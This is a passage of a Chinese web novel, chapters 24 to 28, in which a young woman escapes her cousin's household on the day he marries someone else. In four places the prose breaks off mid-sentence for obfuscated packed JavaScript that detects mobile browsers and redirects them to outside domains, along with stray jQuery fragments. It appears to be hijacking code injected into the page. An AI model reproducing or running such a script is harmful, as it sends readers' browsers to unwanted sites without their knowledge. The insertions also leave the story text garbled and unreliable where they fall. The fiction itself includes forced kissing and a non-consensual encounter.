侯夫人难过，眼里却是从来没有过的坚韧。 “我们唐家姑娘，宁愿站着死，绝不苟延残喘。” 楚衍晴：“可表姐能逃得出去吗？就算能逃出去，她怎么生活？” 侯夫人握紧了水杯，“你哥看管如此严格，她都能逃出去的话，就证明她有足够的生存能力。” 楚衍晴还是忍不住担心，“要不我帮帮她吧。” 侯夫人阻拦道：“不必了，逃出侯府是她新生的第一步，她要自己走出去。” 楚衍晴：“那要不要问清楚她什么打算？” 侯夫人还是阻止：“只有我们都不知道，将来才不会告诉你哥。” 楚衍晴了解哥哥的性子，发起疯来什么都不顾。 她完全没把握能不能抗住哥哥的疯劲。 “娘……” 一起生活十几年的姐妹，却要选择这样艰难的一条路。 楚衍晴心疼自己的表姐，“真的要这样吗？我们是一家人啊！” 侯夫人叹了口气：“是你哥他不做人，事已至此，他和魏家的亲事还能停吗？唐家的女儿绝不做妾，更不会做见不得人的外室。就这样吧，衍晴，真心疼你表姐，就该放她自由。” 楚衍晴擦掉眼泪，失魂落魄的离开了母亲房间。 下午，她打算把自己新做的两套衣服拿给表姐。 转念想到，表姐出行可能不方便带太多东西，不如银票合适。 她将这些年攒的五百两银票放进荷包，之后一个人往翠竹园走。 路上遇到指挥佣人布置婚房的哥哥。 三天前府里已经开始张灯结彩，一派喜气洋洋的气派。 楚衍晴只觉的每只灯笼都格外刺眼。 她隔着一段距离站定，仿佛不认识了一般盯着哥哥的脸。 楚衍诺绷着脸色训斥道：“这么大事，你也不知道帮忙，整天忙什么呢！” 楚衍晴好笑道：“我帮忙？我不给你拆了就算不错了，你怎么好意思！” 楚衍诺气得咬牙切齿，“我就你这一个妹妹，你也就我这一个哥哥，至于吗！” 楚衍晴真没觉察到两人有什么兄妹情。 “大哥，你觉得有意思吗，表姐不也只有你一个表哥，结果呢？” 楚衍诺想不明白，为什么妹妹如此不理解他。 “我又不是不疼她，她那个样子当得了主母吗！” 24.第 24 章 楚衍诺想不明白，为什么妹妹如此不理解他。 “我又不是不疼她，她那个样子当得了主母吗！” 楚衍晴忍不住为表姐分辨，“怎么当不了，即使不容易上手，你可以慢慢教她，怎么能直接放弃。” 她越说越气，往楚衍诺面前走两步，试图用最后的声音唤醒这个沉迷在自己世界里的哥哥。 “大哥，再这么下去，表姐她会离开你的。” 这话把楚衍诺说笑了：“她，离开我？她连自理都不行，她怎么离开我。 只要没有外男勾引，她离开我一天都活不下去！” 楚衍晴打算言尽于此，可又忍不住，“表姐她只是某些方面不足，她不傻的，相反她很聪明，你这么做，只会把她推远。” 这话就更可笑了，楚衍诺讥讽道：“三妹，我没发现，你还有一双发现真善美的眼睛。” 楚衍晴努力忍着怒火：“哥，现在后悔还来得及，趁着魏家姑娘没进门，你跟表姐好好认错，她会原谅你的，看在从小一起长大的份上。” “够了！”越说越荒唐，楚衍诺没了耐心，“我又不是不疼她，至于你们这么为她抱不平，难道你希望我以后有个傻儿子！这偌大的侯府都担在我肩上，你知道我有多艰难。” 楚衍晴忽然笑出了声，“说到底，你就是瞧不起表姐，大哥，希望你别后悔吧！” 语毕，她再也没多一句废话，直接去了翠竹园。 楚衍诺心里莫名升起一股不好的预感。 “来人，加强翠竹园的防护。” “世子爷，”管家为难道，“明天就是婚礼了，人员都调到新房这边，实在……没那么多人。” 楚衍诺迟疑片刻，摆了摆手，“算了。” 表妹连自理都不行，怎么离得开他。 妹妹只不过想阻止这场婚事恐吓他而已。 至于外男勾引，他严防死守，从小就不许她接触外人，又哪里来的外男。 明天就是大婚了，他必须把精力放在婚事上。 早点要个孩子，他也好早点抽身，把心思都放在表妹身上。 楚衍晴来到翠竹园的时候，唐兮暖正在吃厨房做的小点心。 她很喜欢。 明天就是离开侯府之日，以后怕是再也吃不到了。 看见楚衍晴进门，笑着向她摆手，“表妹，快点过来吃点心，刚做好的呢。” 表姐是笑着的，看起来心情还不错。 楚衍晴稍微放心些。 “是么，我尝尝。” 楚衍晴就着表姐的手吃了一口，真心夸道，“好好吃。” 看表姐的样子，除了送母亲一幅画，再没什么反常的地方。 是不是她和母亲想多了。 表姐并没打算离开。 虽然留在侯府能保证衣食无忧，可像一个没有灵魂的木偶。 她觉得表姐的人生不该如此。 可这样的表姐离开，她又着实放心不下。 “表姐，”楚衍晴把银票拿出来，有心直接递给表姐，想了想又收了回来。 “有时间，我们一起出去看戏呀。” “好呀好呀，”唐兮暖开心极了，“我一直听你说起看戏的事，可一直没机会出去。” 楚衍晴笑着叮嘱：“离开侯府，很多事情都需要注意呢，表姐可得记好了。” 唐兮暖像个乖宝宝一般，认认真真的听着。 “嗯，我肯定记好。” 楚衍晴心口发酸，她坐到唐兮暖身边，握住表姐的手：“在外边，不管遇到什么男人，都要保持警惕，不能跟他们走太近，更不能和他们拉手，亲吻，拥抱，如果他们主动对你做这种事，大巴掌使劲扇回去。” 这话倒是和前两天晚上来的男人所言如出一辙。 唐兮暖认真记住。 “表妹，我记性很好的，一定能记住。” 楚衍晴又说：“万一，我是说万一我们走散，你找不到家了，就去府衙，找府尹，找差役，有人欺负你也是如此，要知道报官，会吗？” …… 可能是婚礼就将近，楚衍诺躺在床上，没来由的心口发慌。 不说和表妹青梅竹马，就算两个人发生关系到现在也有三年。 不能娶她为妻，终是他的愧疚。 可是没办法。 这偌大的侯府，都担在他的肩膀上。 他怎么能任性。 魏敏娴是魏国公的三女儿，聪慧、懂事、贤淑，是当家主母的不二人选。 他如果放弃这门亲事，再也不会有这么合适的人了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258159|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚衍诺克制不住自己的情绪，披上衣服竟然不知不觉来到了翠竹园外。 “世子爷，”守在外边的大姑姑青柠把门打开。 楚衍诺一只脚迈进院里，到底忍着没进。 他害怕表妹在他面前哭。 如果表妹哭着求他不要娶魏家姑娘，他可能会心软。 府里布置将近一个月，万事俱备，他不能在这个时候功亏于溃。 “表姑娘，今天都做什么了？” 青柠如实回道：“上午去给夫人请安，下午三小姐过来陪她玩了一会儿。” 楚衍诺皱眉：“表姑娘情绪怎么样？有没有哭？” 青柠摇了摇头：“表姑娘一整天都挺开心的，午饭和晚饭都吃了不少，还要厨房给她做了点心。” 竟然没哭。 楚衍诺心情有些微妙。 难不成表妹也学会了掩饰自己？ 那她还真是长大了。 “世子爷，您不进吗？”青柠把大门又敞开些。 楚衍诺迟疑着叹了口气：“不进了，明天府里人多眼杂，你照顾好表姑娘。” 等婚礼过后，他会好好补偿表妹。 她不是喜欢出去玩吗，正好这段时间朝廷给他放了假，他可以带表妹去任何想去的地方。 再者，一个月后他就要去北域了，他会带表妹一起。 这一路山山水水，保证她能玩尽兴。 楚衍诺不断的做着心里建设，他一定要狠心一点。 可他狠不下心，到底还是进了院子。 唐兮暖刚才把要带走的东西整理一遍，确定没有遗漏，悄悄放在柜子里。 听说表给来了，她端坐在画板前，打算再为表哥画一幅画像。 可她握着笔，怎么也下不去笔。 就在这时，表哥推门而进。 她回头看向表给，“表哥，我在画你。” 楚衍诺就知道表妹满心满眼都是他。 这不，又在偷偷画他了。 他快步走到表妹身后，“今天画了什么样的表哥？是练剑的还是骑马的，或者抱你……” 注意到画板上一笔都没有，神色有些微妙，“这是……” 唐兮暖有些歉意，“表哥，我刚才忘了你长什么样子。” 25.第 25 章 唐兮暖有些歉意，“表哥，我刚才忘了你长什么样子。” 楚衍诺有些无奈地扯下嘴角。 他单膝跪地，握着小姑娘的肩膀，让她看着自己，“仔细看看，表哥就在这里。” 唐兮暖仔细观察着楚衍诺的模样，可无论她怎么努力，都进不了她的脑子。 “可是，我想画自己的丈夫，表哥……你要做别人的丈夫了。” 楚衍诺就知道，他不该心软进来。 “表妹，这种话不许提了，你嫂子她……会生气。” 唐兮暖小脸垮了下去，怏怏不乐地说道：“知道了。” 楚衍诺好不容易来一趟，自然是想和表妹亲密的。 表妹人漂亮，身子又软，他每次都玉罢不能。 “暖暖，”他慢慢靠近去亲表妹的脸。 唐兮暖下意识躲开。 楚衍诺有些不悦，又去亲她的嘴。 唐兮暖再次躲开。 这是从小到大，表妹第一次拒绝他的亲近。 楚衍诺皱眉：“怎么了，不喜欢表哥了？” 唐兮暖握着笔，手指有些抖，白净的小脸难得表现出一本正经的模样，“书上说了，不能给名分是不能亲亲的，否则就是耍流氓。” 楚衍诺心口憋着火，越发不悦。 “哪来的乱七八糟的书。” 他一会儿命青柠必须全部收走，都把表妹教坏了。 唐兮暖也不解释，她离楚衍诺远些，又说：“表哥是坏人。” 楚衍诺这次是真生气了，他握着唐兮暖的手腕，使劲把人一扯，干脆利落地按进怀里，扑头盖脸的亲下去。 “暖暖，我是你表哥，是你最亲的人，怎么是坏人。” 唐兮暖这次也是真生气了。 她记得周川行和楚衍晴的叮嘱，忽然抬手使劲扇了表哥一巴掌。 随后在他怔愣的空隙逃出去。 “表哥，你不想给我名分，还要亲我，就是坏人！” 这一巴掌没少使劲，楚衍诺脸上火辣辣的。 他愤怒地盯着唐兮暖，“我真是把你惯坏了，连表哥都打了，知不知道谁是你最亲的人。” “哼——”唐兮暖毫不犹豫道，“我爹娘不在了，最亲的人当然是我未来的丈夫，但你不是。” 楚衍诺抵了抵腮帮子，他发现小姑娘被宠坏了。 “我知道你生气，可表哥娶别人，也是不得已，你怎么不体谅表哥呢，再说，表哥对你不好么？你要什么表哥没给过。” 唐兮暖哪里说的过他，索性不吭声了。 楚衍诺试探着再一次想把人拉进怀里。 唐兮暖脑海里不由得浮现出周川行的声音，要抓起一切能抓到手里的东西，比如发簪，用来保护自己。 她忽然抽出插在发髻里的簪子，冲着楚衍诺的脖颈狠狠扎下去。 如果不是楚衍诺会武功，反应迅速，唐兮暖这一下能要了他半条命。 “暖暖，你疯了！” 他连表妹都不叫了。 唐兮暖攥着发簪，眼里猩红一片，胸脯不住的起伏着，特别愤怒地瞪着他。 “我说过了，不能给名分就亲亲的男人都是坏人，你再敢碰我，我就往你心口上扎。” 唐兮暖一向温柔软糯，这是她第一次发火。 楚衍诺知道是自己对不起表妹。 也是他宠爱太过，竟然敢跟他动手了。 “你知不知道你在做什么？表哥可会生气的。” 唐兮暖才不怕他生气，“我要睡觉了，你再不走我就大喊你欺负我。” 大婚前传出欺负别的姑娘可不好。 楚衍诺头疼，“好，表哥这两天有点忙，怠慢了你，等忙过这几天，会好好补偿你的，早点休息。” 楚衍诺忍着怒火，从唐兮暖的卧室出来。 吩咐青柠：“这两天，表姑娘太闹腾的话，由着她。” 青柠老老实实领命，“奴婢知道了。” 楚衍诺又道：“她最近都看了什么乱七八糟的书，都收走，以后不许她看。” 楚衍晴没把银票给唐兮暖，不过她交给了小倩。 “表姐喜欢吃什么，穿什么，都依着她，钱没了，再找我要。” 小倩感动得不知道如何是好。 “三小姐对我们小姐的心意，小姐心里都明白呢。” 楚衍晴红着眼眶点了点头，“知道就好，不管什么时候，都要照顾好小姐，让她幸福。” 小倩怀疑三小姐知道她们要逃跑的计划了。 含泪回道：“奴婢知道，奴婢一定会照顾好小姐的。” 楚衍晴离开后，来到婚房这边帮忙布置。 既然哥哥想要娶魏家姑娘，就圆了他的心愿。 她倒是要看看，娶一个完全合符合自己心意的女子，到底能不能幸福。 有一天，他会不会痛哭流涕，拍着自己的胸脯哭喊着对不起表姐。 大婚这天早晨，楚衍诺换好婚服，只等吉时一到便出发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266200|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去接新娘。 此时楚家挤满了来贺喜的亲朋好友。 楚衍晴负责记录宾客所送贺礼，一面命人登记，一面命人点好送到库房收起来。 侯夫人亲自招待有诰命的后宅妇人。 侯爷在床上躺了一年多，今天竟也被人抬进轮椅里，推到客堂见人。 他腿脚无力，撑不起他的身体，可他心里是清楚的，一一和众人打招呼。 楚衍诺命人照顾父亲，招待好客人。 他则准备启程。 唐兮暖就是这个时候来的前厅。 到处都是花灯彩绸，前来道喜的客人，各个喜气洋溢，连空气都充满甜蜜地味道。 她一袭白衣清新淡雅，温婉动人，妩媚翩然，忽然出现在众人的视线里。 吸引了所有人侧目。 “这谁啊！” “好漂亮的姑娘。” “听说是侯夫人的娘家侄女。” “唐家那个罪臣之女，满门抄斩后一直寄养在楚家，一直养到现在。” “楚世子对她好，当宝贝似的，有人说楚世子一直当媳妇养的。” “可楚世子今天娶的不是魏国公的女儿吗。” “嗨，这姑娘漂亮是漂亮，不过脑子……这里有病。” “这样啊，脑子有病，还是罪臣之女，确实配不上楚世子。” “不过她怎么穿一身白衣服出来了，这大喜的日子不吉利啊。” “都说了脑子有病，她哪懂这些。” “她不懂，丫鬟还不懂，要我看就是心机太深，故意给楚世子难堪。” “同情楚世子，竟然养大了一个白眼狼。” …… 周围议论之声不绝于耳。 楚衍诺马上就要出发，忽然看见表妹穿一身白衣过来，面露不悦。 “小倩呢，怎么给你穿这身衣服。” 小倩紧紧跟在唐兮暖身后，低着头一句话都不敢说。 唐兮暖对周遭之声充耳不闻，站在楚衍诺面前，温温柔柔地俯身行礼。 “表妹特意过来给表哥送行。” 楚衍诺心口一震，“暖暖……” 唐兮暖温婉的笑着，她从小性子娴静，柔弱，不争不抢，不分不辩，遇到什么事情，都能转眼丢开。 一个正常人怎么会做到如此程度。 所以楚衍诺认为她傻，如果没有他护着，她就算被人欺负死都不知道反抗。 这也是他敢放心娶魏家姑娘的原因。 26.第 26 章 楚衍诺相信，表妹离不开他。 就算昨晚，表妹第一次反抗他的亲密。 他也坚信，只要婚后，他花点精力，花点时间，好好哄哄，她一定会像原来一般全心全意依靠着他。 可是此刻，表妹情绪一点波澜都没有的来给他送行。 按理，他该是高兴的。 可他竟然也会无端慌乱起来。 唐兮暖仿佛没有察觉到他的情绪变化，继续温柔的笑着，“表妹真心祝愿表哥琴瑟和谐，百子千孙。” 楚衍诺使劲握紧拳头，有种几欲窒息的感觉快速布满全身。 他受不起表妹这么“真诚”的祝福。 “表妹，我……” 他忽然伸手去抓唐兮暖的手，“这婚……”不结也罢。 唐兮暖不动声色往后退了一步，和他拉开距离。 随后像小时候那般没心没肺的笑了起来。 “表哥，这都是小倩教我的呢，她说你大喜的日子，我要多说吉利话，这样表哥才会高兴。” 那个没心没肺，异于常人的表妹又回来了。 楚衍诺莫名松了口气。 他的选择不会错。 表妹撑不起这偌大的侯府，也无法生出正常的孩子。 他还是要娶魏姑娘。 “带表姑娘回翠竹园休息，”他冷着面色吩咐小倩，随后对身后的娶亲队伍说：“出发吧。” “这个表姑娘，看起来确实有些傻啊。” “这大喜的日子，穿白衣服也就算了，怎么还跑到人多的地方来闹。” “人家闹什么了！” “怎么说话那么难听，要我看表姑娘倒是个聪明的。” “侯府是什么好人家，谁愿意嫁似的。” “这位姐姐说的对，侯府是什么好人家，要不是当年背信弃义，一个四品的武将也能封侯，真真笑死人了。” “还嫌弃人家是罪臣之后，那他干嘛心怀不轨，把人当宠物似的养着，有能耐把人嫁出去啊。” “霸占着人家却不给名分，楚世子，大周朝第一大渣男。” …… 楚衍诺往外走的时候，听到有人为表妹鸣不平。 他满心苦涩。 不是他不肯给名分，实则是表妹担不起这个家。 等他和魏姑娘有了孩子，他一定会一心一意对表妹好。 楚衍晴注意到这边的动静，忍着怒火纠正记礼官的错误，“刚才那位爷送的是一对琉璃瓶，你怎么记了一个。” 话音没落，有人从她身后递过来一份礼单。 整整写了三页。 什么珍珠、玛瑙、翡翠、玉石、珊瑚…… 全都是不常见的稀罕物。 谁这么阔绰，楚衍晴转头，竟然看见端王站在她身后。 “这你送的？” 端王颇有些骄傲的哼了一声，“不是本王一个人的。” 楚衍晴呵道：“我就知道你没这么大方。” 端王抢过礼单，指着最后一行的一盒梅花饼，“这我二哥送的。” 又指着倒数第二行，“这对玉如意，我小妹送的。” 公主送的玉如意自然是好的。 楚衍晴感觉还算正常。 可堂堂摄政王竟然只送一盒梅花饼，是不是太小气了点。 端王故意逗楚衍晴的。 梅花饼是周川行特意叮嘱他准备的，可不是只送了这一样东西。 不过他也没解释。 就让楚衍晴误会去吧。 这丫头凶得很，不教训教训她都能飞上天。 “端王到——” 随着管家一声喊，众多宾客纷纷让开一条路，请端王屋里坐。 端王先去见了武安侯。 武安侯挣扎起身要给他行礼，被他按住。 “侯爷不要客气，本王今天过来只想讨杯喜酒，当年要不是武安侯大义，我们几兄弟只怕…… 这份恩情，我们周家什么时候都承。 一会儿我二哥和小妹还要过来，不过二哥事多，稍晚一会儿。 今天是侯府大喜的日子，楚世子才华横溢，办差勤恳，我二哥时常夸他。 魏家姑娘聪慧端庄，用不了多久就会为侯府开枝散叶，到时候，本王还要来讨杯喜酒，侯爷可不要吝惜。” 几句话把武安侯夸的心花怒发。 他表达不出来，嗯嗯啊啊的回应。 端王拍了拍他的手臂，“本王出去凑个热闹，侯爷好好休息。” 语毕，他走出客堂，跟过来庆祝的朝臣寒暄几句，随后冲着楚衍晴而去。 端王走后，所有来庆祝的朝臣开始议论起来。 “如今这侯府了不得啊，还以为老侯爷不行了，没想到楚世子这么得摄政王喜欢。” “可不是，现在只是一个侍郎，可我听说成亲后就要去北域了，再回来，几个尚书随便选。” “这是走了什么狗屎运。” “没听说一会儿摄政王还要来吗。” “朝栎公主也要来呢。” “这可京城不管王公贵族还是高官，能一下请动两位王爷一位公主的，也就是楚世子了吧。” “真真了不得，摄政王可从来不参加任何喜宴。” “对啊，去年南郡王的女儿出嫁，请了他都没去。” “你们说，这侯爷是不是救了摄政王的命。” “你要这么说也行，当年皇上和燕王竞争，侯爷原本是燕王的人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16275107|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关键时刻跳反，帮了皇上，否则哪有今天的皇上。” “可这都是十几年前的事了，再说，侯爷帮的是皇上，已经封侯，前几年侯府可没这么兴盛，摄政王何必非要培养楚家人。” “你们说，楚世子唇红齿白的，摄政王不会是……” 好男色，几个字他没说出来，不过大家都明白他的意思。 很快朝臣这片响起一阵特别“欢快”且暧昧的笑声。 恰好周川行的暗卫听到这段。 急忙记在小本本上，一会儿汇报给主子。 楚衍晴就没见过端王这么没眼色的人。 “你不和那些官员说话，找我干什么，不知道男女授受不亲啊。” 端王充满挑逗地勾了一下她的下巴。 “怎么，本王给你丢人了？” 楚衍晴拍开他的咸猪手，“这么多人看着呢，你离我远点。” 端王呵了一声，“楚衍晴，我发现你这人真不识抬举，本王要相貌有相貌，要身份有身份，哪里配不上你。” 楚衍晴哼道：“我说过，只要你同意只娶我一个，我就嫁给你。” 端王怎么可能为了一片绿叶放弃整个森林。 “知道做王爷有什么好处吗？” 楚衍晴皱眉：“什么好处？” 端王：“那就是，能娶到天底下任何想娶的美女。” 楚衍晴从来没像这一刻这么讨厌端王。 看见韩国公的小儿子来送贺礼，挤开端王过去迎客。 韩国公的小儿子刚及冠不久，长得一表人才，风度翩翩，很得女孩子好感。 楚衍晴笑得像朵花似的，俯身行礼：“韩公子客气了，里边请。” 端王心里气恼，他几个大步走过去把人扯走。 “楚衍晴，你喜欢那样的？” 楚衍晴伶牙俐齿，极尽嘲讽，“这和你有关系吗？端王如果觉得送礼委屈了，或者想捞点什么回去，那还不如早点离开的好，本小姐还要招待客人，恕不奉陪。” 端王可是皇上的亲弟弟，什么时候受过这种冷脸。 他攥着楚衍晴的手腕把人扯到没人的地方，劈头就要吻下去。 急得楚衍晴抬手就给了他一巴掌。 “周川谨，你不要太过分！” 语毕，她充满厌恶地瞪了一眼端王，随后急匆匆离开。 这是端王长这么大第一次挨巴掌。 楚衍晴没少使劲，一边脸火烧火燎的疼。 他狠狠吐了一口。 “最好别有求本王的那天，看本王怎么折磨死你！” …… 周川行和朝栎是快中午时分到的侯府。 此时楚衍诺已经接到新娘子在回来的路上。 27.第 27 章 周川行一来，所有朝臣和宾客全部起身行礼。 周川行难得收起杀伐果决的威严面孔，十分随和地开口：“今天是楚世子大喜的日子，本王过来凑个热闹，众位免礼，随意。” 如果说躺在病榻上的皇上是位仁厚之君。 那么面前这位，就是个杀人不眨眼的大魔头。 曾经坑杀敌军好几万将士，就是出自这位之手。 他的眼里可没有什么心慈手软。 几万条生命，他连眉头都没皱一下。 谁听说这事，不在心里议论他一句杀气太重。 不过大周朝像一头即将步入老年的猛兽，只有骨架撑着，体内空虚，早已经岌岌可危。 很多王朝到了这个时候，已经濒临灭亡。 可皇上和这位摄政王，硬是将快要死亡的大周朝重新拉回来。 平定内乱后又打得周边国家闻风丧胆，退避上千里。 大周朝至少三十年边境无忧。 很多人都说，皇上是中兴之主。 可了解内情的人都知道，这位摄政王才是大周朝的中兴支柱。 …… 今天摄政王竟然亲自参加楚世子的婚宴，可见有些传闻不一定虚。 比如他看上了唇红齿白的楚世子。 端王听到这个八卦的时候，险些吐出一口老血。 不过很快就在心里笑开了。 二哥确实看中了楚世子，不过是他的表妹。 “二哥，一直没见到表姑娘。” 周川行明白，今天人多眼杂，楚世子肯定要加强防备。 唐姑娘想逃出去并不容易。 “派人盯着点。” 端王毫不犹豫道：“放心吧，早有准备。” 新娘子的花轿在午时前进了侯府。 楚衍诺身穿大红喜服，满脸笑意地等人掀开轿帘，他伸手扶住新娘子。 接下来，两人顺顺利利地走完成亲流程。 之后新娘子被楚衍诺送回新房。 酒宴正式开始。 周川行坐在首桌，接受众人敬酒，他一一喝下。 看见楚衍诺过来，真心实意地说道：“这大周朝最漂亮的姑娘被你娶进门，可得好好珍惜。” 楚衍诺滴酒未沾，已经有了几分醉意。 他端起酒杯，敬周川行，“下官多谢摄政王相助，没有王爷，下官也没办法达成所愿，下官干了，王爷请。” 他一仰脖干了杯中酒。 周川行难得高兴，亲自给他把酒杯倒满。 “本王这些年一直在外杀敌，不懂京城新人的婚宴礼仪，不过本王觉得，这喜酒没有只喝一杯的，来，本王干了，你随意。” 周川行千杯不醉。 一连跟楚衍诺喝了大半坛子。 有他做榜样，其他人怎么可能放过楚衍诺。 一直把他喝到不省人事才停下。 眼看着天色逐渐黑下来，周川行吩咐楚家人，“照顾楚世子去新房，新人还在等他。” 楚衍晴一直在旁边伺候。 有那么一瞬间，她怀疑摄政王在故意灌她大哥。 都知道摄政王是个不怎么喜欢人情往来的人。 今天出席婚宴，以属意外。 怎么揪着她大哥喝起来没完没了了。 难不成真如外界传言那般，喜欢她大哥…… 楚衍晴一旦产生这种心里，看摄政王的眼神都多了几分复杂。 可摄政王不是端王。 她可不敢放肆。 扶住大哥，朝摄政王礼貌的点了点头便走。 “大哥，婚房在这边……” 原本她是可以阻止大哥喝这么多的。 可一想到大哥要和魏姑娘入洞房，心里就不舒服。 喝多了好，喝多了就入不了了。 端王自从被楚衍晴扇巴掌，就一直拉着脸色。 酒桌上都没怎么说话，倒是灌了楚衍诺不少酒。 这会接触到二哥的眼神，起身架住楚衍诺的手臂，顺手摸走他身上的腰牌。 楚衍晴没想到是他，喊佣人过来接替。 端王已经得手，很自然的将楚衍诺交给楚家人。 “楚世子喝多了，本王也该回府了。” 周川行喝掉杯中酒，有几分醉意的起身，被他的侍卫搀扶着坐进轿撵。 如果说刚才大家怀疑摄政王对楚世子有意，这会几乎可以确定。 他刚才喝那么多酒，还故意灌醉楚世子，分明是不想让楚世子和女人同房。 楚世子一走，他一刻都不肯多待。 不就是伤心难过了！ 众人一副摄政王好惨的神色目送他离开。 周川行一进轿子便恢复清明摸样。 轿子里备好了衣服，他将沾染了一身酒气的衣服脱下，换上精心准备的锦缎华服。 端王待他二哥走后，也晃荡着起身。 “咳，本王……本王还能再喝，等本王出去撒泼尿，回来找你们，都给我等着，一个都不许走。” 今晚侯府是整个京城最热闹的。 就算侯府里，每个犄角旮旯都充斥着喜庆喧闹的气氛。 翠竹园除外。 里三层外三层，由青柠带领着至少三十名侍卫守着。 小倩已经想了三四个办法，都没能带着唐兮暖逃出去。 这会急得快哭了。 “小姐，现在怎么办，今晚都出不去，以后更没机会了。” 也是小倩急中生智，她商量唐兮暖，“小姐，现在你穿我的衣服，梳成我的发髻，只管低着头往外走，有人问你，就说给小姐要几块喜糖去。 这会天黑了，青柠不一定能发现。” 唐兮暖不同意：“那你呢？” 小倩急道：“只要你逃出去就好，我再想办法。” 唐兮暖舍不得丢下小倩。 万一被表哥发现，会把小倩打死。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16282044|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“要走一起走，要么都不走。” 小倩明白小姐是担心她，尽管小姐不会表述。 “小姐，有侯夫人和三小姐呢，世子爷发现了也不能拿我怎么样，你只管走，我会想办法去找你的。” 唐兮暖说什么都不同意。 “一起走。” 主仆两个正争执着，忽然听到外边一阵兵荒马乱。 小倩从窗户看出去，竟然看见侍卫都走开了。 她不敢耽搁，背上包袱拉着唐兮暖就往外走。 “小姐，我们得快点。” 侍卫确实都走开了，包括青柠在内。 端王晃晃荡荡过来命令他们帮忙寻找一块玉佩。 侍卫哪敢怠慢，急忙低头去找。 青柠担心事有蹊跷，赶紧喊住大家。 不料端王拿出楚衍诺的令牌，“你们这些混蛋，本王在你们侯府丢了东西，你们不给我找，是想让我进婚房把楚世子揪出来吗！” 有了楚世子的令牌，青柠不敢再拦。 “王爷，您的东西在哪丢的，奴婢帮您找。” 端王随手一指：“好像是那边。” 侍卫赶过恨不得趴在草坪上一寸一寸搜过，哪里有什么玉佩。 端王使劲晃了晃脑袋，又是随手一指。 “那边，好像是那边。” 眼见着唐兮暖和小倩跑出去，他挡住青柠的视线。 “本王才喝了一壶，就有人偷了本王的东西，分明是楚世子抠搜，舍不得这么好的喜酒，本王偏要喝个痛快。” 他闹了一通，算着唐兮暖已经和二哥汇合上，干脆往墙角一躺。 “本王还要再喝，喝，喝……” 楚衍晴听到动静，赶过来查看。 竟然看见端王倒在草丛里，急忙吩咐侍卫：“你们两个把人扶到客房，给他打盆水，照顾他休息。” 端王又不是真醉，瞥到楚衍晴使劲把侍卫推开，往楚衍晴身上倒。 楚衍晴满脸嫌弃的躲开。 注意到韩公子要走，赶过去送客。 “韩公子慢走。” 韩公子斯文有礼的行拱手礼。 “感谢楚三小姐周到的款待，时候不早了，韩某告辞，改日再见。” 楚衍晴俯身行礼，目送他离开。 端王心里吃味，酸溜溜地哼了一声。 “眼睛都要粘人家身上了，怎么，韩家就不纳妾？本王可听说韩国公娶了二十几个姨娘小妾，这个小儿子是他第十七个小妾所生。” 楚衍晴不悦道：“喝多了也堵不住你的嘴，快点休息去吧。” 待侍卫把端王扶走，她特别严厉的叮嘱青柠等人。 “今晚端王过来的事，谁都不许说出去，有辱皇家威仪，小心自己的脑袋。” 青柠吓得大气都不敢出，“奴婢感谢三小姐提醒。” 楚衍晴看了一眼院里，默默叹了口气。 大哥，希望你不会有后悔那天！ 28.第 28 章 侯府的酒席持续到后半夜才慢慢散去。 侯夫人年纪大了，熬到子时说什么都撑不住了，楚衍晴几乎一整夜没睡。 天快亮才眯一会儿。 楚衍诺昨晚喝得烂醉如泥，红盖头还是魏敏娴自己摘的。 新婚夜，交杯酒没喝，一句温存没听到，她还要伺候新郎官入睡。 偏偏一整夜，楚衍诺都在喊表妹的名字。 她早就知道楚衍诺喜欢他表妹，可能已经有了肌肤之亲。 可爱情就是这样，喜欢上了毫无道理可言。 最后挨着楚衍诺躺下。 清晨，楚衍诺贴着柔软的身体，不动都已经快要失控，一动柔软的手臂攀过来，他一个成年男子哪里拒绝得了。 气息纠缠间，他也没看清楚身边的人是谁。 直到彻底尽兴才停下来。 一道女子充满悲切委屈的啜泣响起，他皱眉看向枕边人。 随后大手附在额头上，满心绝望地躺到床上。 他竟然…… 